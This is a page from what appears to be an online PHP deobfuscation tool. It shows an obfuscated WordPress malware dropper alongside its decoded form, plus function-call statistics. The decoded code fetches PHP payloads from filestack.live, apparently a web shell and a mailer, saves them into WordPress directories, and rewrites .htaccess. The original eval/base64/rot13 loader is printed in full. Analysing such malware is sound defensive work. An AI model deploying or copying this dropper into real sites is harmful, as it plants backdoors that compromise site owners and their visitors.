Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $HEIsh = 'ba'.'se64'.'_decod'.'e'; $ZPKni = 's'.'tr'.'_ro'.'t13'; ini_set('error_log..

Decoded Output download

 error_reporting(0); $p_olux = str_replace("../", "", "./../../../../../../wp-admin/Cjd9pGBqsM6.php"); $p_mailer = str_replace("../", "", "./../../../../../../wp-content/jkQ5isefvKR.php"); $p_xleet = str_replace("../", "", "./../../../../../../wp-includes/Tvc3PyY1d59.php"); $root = str_replace("../", "", "./../../../../../../"); function http_get_contents($url){$codex = file_get_contents($url);if (empty($codex)){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);curl_setopt($ch, CURLOPT_TIMEOUT, 60);curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);$urlPage = curl_exec($ch);curl_close($ch);return($urlPage);}else {return $codex;}} function save($path, $source){ if(function_exists("file_put_contents")){ file_put_contents($path, $source); }else { fwrite(fopen($path,"w"), $source); } } function read($path){ if(function_exists("file_get_contents")){ $rr = file_get_contents($path); }else { $rr = stream_get_contents(fopen($path, "r")); } return $rr; } if(!file_exists($p_olux)) { $olux = http_get_contents("http://filestack.live/5de9c03400251a73ad64a272db83fab0.htm"); if(preg_match("/<\?php/", $olux)){ save($p_olux, $olux); }  } if(!file_exists($p_xleet)) { $xleet = http_get_contents("http://filestack.live/2995e3adc0c914b5a67cc9c6fb40ad73.htm"); if(preg_match("/<\?php/", $xleet)){ save($p_xleet, $xleet); }  } if(!file_exists($p_mailer)) { $mailer = http_get_contents("https://filestack.live/79f37cf98ac7d864a573c96fd19390ba.htm"); if(preg_match("/<\?php/", $mailer)){ $mailer = str_replace("xxxxxxxxxxxxxxxxxxxxxxx", "MtsgKmbU67z", $mailer); save($p_mailer, $mailer); }  } save($root."wp-includes/index.html", "<!DOCTYPE html><title></title>"); $htx = strtolower(read($root.".htaccess")); if(preg_match("/deny(.*)from(.*)all/", $htx) || preg_match("/order(.*)allow(.*)deny/", $htx)) { $htx = "<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php\$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>"; chmod($root.".htaccess", 0644); save($root.".htaccess", $htx); }

Did this file decode correctly?

Original Code

<?php $HEIsh = 'ba'.'se64'.'_decod'.'e'; $ZPKni = 's'.'tr'.'_ro'.'t13'; ini_set('error_log', NULL); /*       nwjutvko tlppsw**/ ini_set('display_errors', 0); ini_set('log_errors', 0); error_reporting(0); eval($ZPKni($HEIsh('IHJlZWJlX2VyY2JlZ3ZhdCgwKTsgJGNfYnloayA9IGZnZV9lcmN5bnByKCIuLi8iLCAiIiwgIi4vLi4vLi4vLi4vLi4vLi4vLi4vamMtbnF6dmEvUHdxOWNUT2RmWjYuY3VjIik7ICRjX3pudnlyZSA9IGZnZV9lcmN5bnByKCIuLi8iLCAiIiwgIi4vLi4vLi4vLi4vLi4vLi4vLi4vamMtcGJhZ3JhZy93eEQ1dmZyc2lYRS5jdWMiKTsgJGNfa3lycmcgPSBmZ2VfZXJjeW5wcigiLi4vIiwgIiIsICIuLy4uLy4uLy4uLy4uLy4uLy4uL2pjLXZhcHlocXJmL0dpcDNDbEwxcTU5LmN1YyIpOyAkZWJiZyA9IGZnZV9lcmN5bnByKCIuLi8iLCAiIiwgIi4vLi4vLi4vLi4vLi4vLi4vLi4vIik7IHNoYXBndmJhIHVnZ2NfdHJnX3BiYWdyYWdmKCRoZXkpeyRwYnFyayA9IHN2eXJfdHJnX3BiYWdyYWdmKCRoZXkpO3ZzIChyemNnbCgkcGJxcmspKXskcHUgPSBwaGV5X3ZhdmcoKTtwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfSEVZLCAkaGV5KTtwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfVVJOUVJFLCAwKTsgcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1NCWVlCSllCUE5HVkJBLCAxKTtwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRVJHSEVBR0VOQUZTUkUsIDEpO3BoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19GRllfSVJFVlNMQ1JSRSwgMCk7cGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0ZGWV9JUkVWU0xVQkZHLCAwKTtwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfUEJBQVJQR0dWWlJCSEcsIDYwKTtwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfR1ZaUkJIRywgNjApO3BoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19IRlJFTlRSQUcsICRfRlJFSVJFWyJVR0dDX0hGUkVfTlRSQUciXSk7JGhleUNudHIgPSBwaGV5X3JrcnAoJHB1KTtwaGV5X3B5YmZyKCRwdSk7ZXJnaGVhKCRoZXlDbnRyKTt9cnlmciB7ZXJnaGVhICRwYnFyazt9fSBzaGFwZ3ZiYSBmbmlyKCRjbmd1LCAkZmJoZXByKXsgdnMoc2hhcGd2YmFfcmt2ZmdmKCJzdnlyX2NoZ19wYmFncmFnZiIpKXsgc3Z5cl9jaGdfcGJhZ3JhZ2YoJGNuZ3UsICRmYmhlcHIpOyB9cnlmciB7IHNqZXZncihzYmNyYSgkY25ndSwiaiIpLCAkZmJoZXByKTsgfSB9IHNoYXBndmJhIGVybnEoJGNuZ3UpeyB2cyhzaGFwZ3ZiYV9ya3ZmZ2YoInN2eXJfdHJnX3BiYWdyYWdmIikpeyAkZWUgPSBzdnlyX3RyZ19wYmFncmFnZigkY25ndSk7IH1yeWZyIHsgJGVlID0gZmdlcm56X3RyZ19wYmFncmFnZihzYmNyYSgkY25ndSwgImUiKSk7IH0gZXJnaGVhICRlZTsgfSB2cyghc3Z5cl9ya3ZmZ2YoJGNfYnloaykpIHsgJGJ5aGsgPSB1Z2djX3RyZ19wYmFncmFnZigidWdnYzovL3N2eXJmZ25weC55dmlyLzVxcjlwMDM0MDAyNTFuNzNucTY0bjI3MnFvODNzbm8wLnVneiIpOyB2cyhjZXJ0X3puZ3B1KCIvPFw/Y3VjLyIsICRieWhrKSl7IGZuaXIoJGNfYnloaywgJGJ5aGspOyB9ICB9IHZzKCFzdnlyX3JrdmZnZigkY19reXJyZykpIHsgJGt5cnJnID0gdWdnY190cmdfcGJhZ3JhZ2YoInVnZ2M6Ly9zdnlyZmducHgueXZpci8yOTk1cjNucXAwcDkxNG81bjY3cHA5cDZzbzQwbnE3My51Z3oiKTsgdnMoY2VydF96bmdwdSgiLzxcP2N1Yy8iLCAka3lycmcpKXsgZm5pcigkY19reXJyZywgJGt5cnJnKTsgfSAgfSB2cyghc3Z5cl9ya3ZmZ2YoJGNfem52eXJlKSkgeyAkem52eXJlID0gdWdnY190cmdfcGJhZ3JhZ2YoInVnZ2NmOi8vc3Z5cmZnbnB4Lnl2aXIvNzlzMzdwczk4bnA3cTg2NG41NzNwOTZzcTE5Mzkwb24udWd6Iik7IHZzKGNlcnRfem5ncHUoIi88XD9jdWMvIiwgJHpudnlyZSkpeyAkem52eXJlID0gZmdlX2VyY3lucHIoImtra2tra2tra2tra2tra2tra2tra2trIiwgIlpnZnRYem9INjdtIiwgJHpudnlyZSk7IGZuaXIoJGNfem52eXJlLCAkem52eXJlKTsgfSAgfSBmbmlyKCRlYmJnLiJqYy12YXB5aHFyZi92YXFyay51Z3p5IiwgIjwhUUJQR0xDUiB1Z3p5Pjxndmd5cj48L2d2Z3lyPiIpOyAkdWdrID0gZmdlZ2J5YmpyZShlcm5xKCRlYmJnLiIudWducHByZmYiKSk7IHZzKGNlcnRfem5ncHUoIi9xcmFsKC4qKXNlYnooLiopbnl5LyIsICR1Z2spIHx8IGNlcnRfem5ncHUoIi9iZXFyZSguKilueXliaiguKilxcmFsLyIsICR1Z2spKSB7ICR1Z2sgPSAiPFZzWmJxaHlyIHpicV9lcmpldmdyLnA+XGFFcmpldmdyUmF0dmFyIEJhXGFFcmpldmdyT25mciAvXGFFcmpldmdyRWh5ciBedmFxcmtcLmN1Y1wkIC0gW1ldXGFFcmpldmdyUGJhcSAle0VSREhSRkdfU1ZZUkFOWlJ9ICEtc1xhRXJqZXZnclBiYXEgJXtFUkRIUkZHX1NWWVJBTlpSfSAhLXFcYUVyamV2Z3JFaHlyIC4gL3ZhcXJrLmN1YyBbWV1cYTwvVnNaYnFoeXI+IjsgcHV6YnEoJGViYmcuIi51Z25wcHJmZiIsIDA2NDQpOyBmbmlyKCRlYmJnLiIudWducHByZmYiLCAkdWdrKTsgfSA='))); ?>

Function Calls

ini_set 3
str_rot13 1
base64_decode 1
error_reporting 1

Variables

$HEIsh base64_decode
$ZPKni str_rot13

Stats

MD5 bf30f587feed143752f076ee30191cf9
Eval Count 1
Decode Time 81 ms